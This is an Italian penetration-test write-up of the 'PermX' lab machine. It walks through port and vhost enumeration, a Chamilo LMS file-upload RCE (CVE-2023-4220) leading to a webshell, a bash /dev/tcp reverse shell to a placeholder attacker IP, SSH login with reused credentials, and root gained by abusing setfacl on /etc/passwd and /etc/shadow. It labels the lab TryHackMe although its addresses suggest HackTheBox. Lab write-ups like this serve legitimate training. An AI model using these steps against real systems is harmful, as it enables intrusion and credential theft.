

Penetration Test Report (OSCP Style)

PermX

Franco Salvucci

Contents

1	Informazioni sul Target	2
2	Enumerazione	2
2.1	Scansione delle porte	2
2.2	Enumerazione Web	2
3	Accesso Iniziale	2
3.1	Identificazione dell'applicazione	2
3.2	Sfruttamento della vulnerabilità	3
3.3	Ottenimento della Reverse Shell	3
4	Post-Exploitation	3
4.1	Ricerca credenziali	3
4.2	Accesso via SSH	3
5	Privilege Escalation	3
5.1	Verifica privilegi sudo	3
5.2	Sfruttamento	4
6	Proof of Compromise	4
6.1	User Flag	4
6.2	Root Flag	4
7	Conclusioni	4

1 Informazioni sul Target

- **Indirizzo IP:** 10.10.11.23
- **Ambiente:** Laboratorio (TryHackMe)

2 Enumerazione

2.1 Scansione delle porte

Come primo passo è stata effettuata una scansione delle porte per identificare i servizi esposti.

```
nmap -sC -sV 10.10.11.23
```

La scansione ha evidenziato le seguenti porte aperte:

- 22/tcp – SSH
- 80/tcp – HTTP

2.2 Enumerazione Web

Accedendo al servizio HTTP si presenta una web application. Si procede quindi con brute forcing delle directory:

```
gobuster dir -u http://permx.htb \  
-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list  
-2.3-medium.txt
```

Non emergono risultati particolarmente utili, pertanto si passa all'enumerazione dei virtual host:

```
ffuf -u http://permx.htb \  
-H "Host: FUZZ.permx.htb" \  
-w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -fw 18
```

Viene individuato il seguente vhost:

- lms.permx.htb

3 Accesso Iniziale

3.1 Identificazione dell'applicazione

Navigando sul vhost scoperto, si osserva una pagina di login. Analizzando la directory `/documentation` è possibile identificare il CMS utilizzato: **Chamilo LMS**.

3.2 Sfruttamento della vulnerabilità

La versione individuata risulta vulnerabile alla CVE-2023-4220, che consente Remote Code Execution tramite upload di file arbitrari.

È stato utilizzato un exploit pubblico per caricare una webshell.

Percorso della webshell:

```
http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php
```

3.3 Ottenimento della Reverse Shell

Per ottenere una shell interattiva è stato caricato uno script bash:

```
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/<PORTA> 0>&1
```

Listener lato attaccante:

```
nc -lvnp 4444
```

Una volta eseguito il payload, si ottiene accesso come utente **www-data**.

4 Post-Exploitation

4.1 Ricerca credenziali

Si procede con l'enumerazione del filesystem alla ricerca di file di configurazione:

```
find /var/www/chamilo -name configuration*
```

Nel file principale vengono trovate credenziali del database in chiaro.

4.2 Accesso via SSH

Dalle directory home emerge l'utente **mtz**. Provando le credenziali ottenute, si riesce ad accedere via SSH:

```
ssh mtz@10.10.11.23
```

Accesso riuscito.

5 Privilege Escalation

5.1 Verifica privilegi sudo

```
sudo -l
```

Output:

```
/opt/acl.sh
```

Lo script può essere eseguito con privilegi elevati.

5.2 Sfruttamento

Lo script utilizza `setfacl`, consentendo la modifica dei permessi su file arbitrari.

Si creano link simbolici ai file sensibili:

```
ln -s /etc/passwd passwd_link
ln -s /etc/shadow shadow_link
```

Utilizzando lo script, si ottiene accesso in scrittura.

A questo punto è possibile creare un nuovo utente con privilegi root ed effettuare il login:

```
su nuovo_root
```

Accesso root ottenuto.

6 Proof of Compromise

6.1 User Flag

```
/home/mtz/user.txt
```

6.2 Root Flag

```
/root/root.txt
```

7 Conclusioni

Il sistema è stato compromesso con successo attraverso una catena di vulnerabilità:

- Vulnerabilità RCE su applicazione web
- Esposizione di credenziali
- Errata configurazione dei privilegi sudo

L'attacco richiede competenze tecniche moderate e può essere replicato con strumenti standard.